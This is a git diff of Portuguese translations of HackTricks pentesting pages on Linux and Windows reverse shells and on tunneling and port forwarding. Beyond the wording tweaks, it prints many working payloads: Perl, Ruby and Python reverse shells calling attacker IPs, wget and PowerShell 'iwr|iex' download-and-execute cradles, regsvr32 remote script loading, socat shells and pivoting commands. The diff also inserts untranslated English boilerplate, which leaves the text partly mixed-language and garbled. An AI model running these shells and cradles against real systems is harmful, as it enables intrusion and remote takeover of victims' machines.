|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -69,7 +69,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
|
||||
Ao lidar com uma vulnerabilidade de **Execução de Código Remoto (RCE)** em uma aplicação web baseada em Linux, alcançar um shell reverso pode ser obstruído por defesas de rede como regras iptables ou mecanismos complexos de filtragem de pacotes. Em ambientes tão restritos, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz.
|
||||
|
||||
Uma ferramenta recomendada para esse fim é o [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo.
|
||||
Uma ferramenta recomendada para esse fim é [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo.
|
||||
|
||||
Para utilizar o toboggan de forma eficaz, crie um módulo Python adaptado ao contexto de RCE do seu sistema alvo. Por exemplo, um módulo chamado `nix.py` poderia ser estruturado da seguinte forma:
|
||||
```python3
|
||||
|
@ -110,7 +110,7 @@ Você só precisa modificar:
|
|||
* O prefixo e sufixo da sua carga útil (se houver)
|
||||
* A forma como a carga útil é enviada (cabeçalhos? dados? informações extras?)
|
||||
|
||||
Em seguida, você pode simplesmente **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
|
||||
Então, você pode apenas **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -157,12 +157,14 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perl é uma linguagem de programação amplamente utilizada em hacking ético devido à sua capacidade de manipular strings, realizar operações de rede e executar comandos do sistema. Perl é conhecido por sua flexibilidade e expressividade, tornando-o uma escolha popular para tarefas de scripting durante testes de penetração.
|
||||
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration tasks, web development, and network programming. Perl scripts can be used to create powerful one-liners for various tasks, making it a popular choice for hackers and system administrators alike.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby is a dynamic, open-source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write, making it a popular choice for web development and scripting. Ruby is known for its object-oriented approach and has a strong community that provides a wealth of resources and libraries to support developers.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -346,7 +348,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -356,9 +358,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
## Lolbas
|
||||
|
||||
A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows, assim como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para linux.\
|
||||
Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (mal)usados para realizar algum tipo de ações inesperadas como **executar código arbitrário.**
|
||||
Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (ab)usados para realizar algum tipo de ações inesperadas como **executar código arbitrário.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -51,11 +51,15 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration, web development, and network programming. Perl scripts can be used for various tasks, including automating repetitive tasks, parsing and processing text files, and creating network tools. Perl is supported on Windows operating systems and can be used to create powerful shell scripts for Windows environments.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby is a dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write. Ruby is commonly used for web development and is known for its Rails framework, which makes building web applications faster and easier.
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -218,7 +222,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
|||
```
|
||||
## Regsvr32
|
||||
|
||||
* [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [A partir daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
|
@ -353,7 +357,7 @@ Compilar código C# na máquina da vítima.
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Pode baixar um shell reverso básico em C# daqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
Pode baixar um shell reverso básico em C# aqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**Não detectado**
|
||||
|
||||
|
@ -432,7 +436,7 @@ Crie um iniciador powershell, salve-o em um arquivo e faça o download e execute
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
**Detectado como código malicioso**
|
||||
**Código detectado como malicioso**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
||||
|
@ -454,7 +458,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## Mais
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrados)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrado)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos ofensivos PS e detecção de proxy (IEX)
|
||||
|
||||
|
@ -470,7 +474,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -52,7 +52,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
|||
```
|
||||
### Porta Local para Porta
|
||||
|
||||
Abrir uma nova porta no Servidor SSH --> Outra porta
|
||||
Abrir nova porta no servidor SSH --> Outra porta
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
|
@ -70,7 +70,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Porta Local --> Host Comprometido (SSH) --> Para onde quer que seja
|
||||
Porta Local --> Host Comprometido (SSH) --> Qualquer lugar
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
|
@ -87,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
É necessário **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login de root:\
|
||||
Você precisa de **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -123,14 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
|||
|
||||
### Port2Port
|
||||
|
||||
Porta local --> Host comprometido (sessão ativa) --> Terceira\_caixa:Porta
|
||||
Porta local --> Host comprometido (sessão ativa) --> Terceiro\_host:Porta
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre clientes e servidores através de um servidor proxy. Ele pode ser usado para rotear o tráfego da rede de forma segura e anônima, facilitando a criação de túneis para acessar recursos de rede internos de forma remota.
|
||||
SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre redes através de um servidor intermediário. Ele pode ser usado para rotear o tráfego da rede de um cliente através do servidor SOCKS, fornecendo anonimato e contornando restrições de rede.
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
|
@ -138,7 +138,19 @@ use auxiliary/server/socks_proxy
|
|||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
Outra maneira:
|
||||
### Tunneling and Port Forwarding
|
||||
|
||||
Tunneling is a method that allows data to be transferred securely over an insecure network. It involves encapsulating the data into another protocol to create a secure communication channel. Port forwarding, on the other hand, is a technique that redirects a communication request from one address and port number combination to another. This can be useful for accessing services on a remote network securely.
|
||||
|
||||
#### Tunneling
|
||||
|
||||
Tunneling can be achieved using various protocols such as SSH, VPN, or even HTTP. It is commonly used to bypass firewalls, access restricted content, or secure communication between two endpoints. By creating a tunnel, data is encrypted and can traverse the insecure network without being intercepted.
|
||||
|
||||
#### Port Forwarding
|
||||
|
||||
Port forwarding is often used in conjunction with tunneling to redirect specific network traffic. It can be set up using tools like SSH or specialized software. By forwarding ports, services running on specific ports on a remote machine can be accessed securely from a local machine. This is particularly useful for remote administration or accessing services on a server behind a firewall.
|
||||
|
||||
Both tunneling and port forwarding are essential techniques in the field of cybersecurity and can be used for various purposes, including penetration testing, bypassing restrictions, and securely accessing remote resources.
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
|
@ -166,7 +178,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
Neste caso, a **porta é aberta no host de beacon**, não no Servidor da Equipe e o tráfego é enviado para o Servidor da Equipe e a partir daí para o host:porta indicado.
|
||||
Neste caso, a **porta é aberta no host beacon**, não no Servidor da Equipe e o tráfego é enviado para o Servidor da Equipe e a partir daí para o host:porta indicado.
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
|
@ -195,9 +207,9 @@ Você precisa fazer upload de um arquivo de túnel da web: ashx|aspx|js|jsp|php|
|
|||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
## Chisel
|
||||
## Cinzel
|
||||
|
||||
Você pode baixá-lo na página de lançamentos do [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Você pode baixá-lo na página de lançamentos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Você precisa usar a **mesma versão para cliente e servidor**
|
||||
|
||||
### socks
|
||||
|
@ -239,7 +251,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
|||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Conexão de Bind
|
||||
### Shell de Ligação
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
|
@ -275,7 +287,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
|||
|
||||
### Túnel SSL com Socat
|
||||
|
||||
**/bin/sh console**
|
||||
**Console /bin/sh**
|
||||
|
||||
Criar certificados em ambos os lados: Cliente e Servidor
|
||||
```bash
|
||||
|
@ -291,9 +303,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
|
|||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||
```
|
||||
### Porta2Porta Remoto
|
||||
### Porta Remota para Porta
|
||||
|
||||
Conecte a porta SSH local (22) à porta 443 do host do atacante
|
||||
Conecte a porta SSH local (22) à porta 443 do host atacante
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
|
@ -301,7 +313,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
```
|
||||
## Plink.exe
|
||||
|
||||
É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
|
||||
É como uma versão console do PuTTY (as opções são muito semelhantes a um cliente ssh).
|
||||
|
||||
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço ssh e porta para que possamos ter uma conexão reversa. Em seguida, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina:
|
||||
```bash
|
||||
|
@ -325,7 +337,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
## SocksOverRDP & Proxifier
|
||||
|
||||
É necessário ter **acesso RDP sobre o sistema**.\
|
||||
Baixe:
|
||||
Download:
|
||||
|
||||
1. [Binários SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. O DVC é responsável por **tunelar pacotes sobre a conexão RDP**.
|
||||
2. [Binário Portátil do Proxifier](https://www.proxifier.com/download/#win-tab)
|
||||
|
@ -351,7 +363,7 @@ Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para encamin
|
|||
|
||||
Você pode fazer com que aplicativos GUI do Windows naveguem por um proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||||
Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\
|
||||
Em **Profile -> Proxification Rules** adicione o nome do programa para proxificar e as conexões para os IPs que deseja proxificar.
|
||||
Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que deseja proxificar.
|
||||
|
||||
## Bypass de proxy NTLM
|
||||
|
||||
|
@ -365,7 +377,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Autentica-se contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Em seguida, você pode usar a ferramenta de sua escolha por meio desta porta.\
|
||||
Por exemplo, encaminhar a porta 443.
|
||||
Por exemplo, encaminha a porta 443
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -373,8 +385,8 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Agora, se você definir, por exemplo, na vítima o serviço **SSH** para ouvir na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
|
||||
Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está ouvindo na porta 2222.
|
||||
Agora, se você configurar, por exemplo, no alvo o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
|
||||
Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
|
@ -528,7 +540,7 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -540,7 +552,7 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
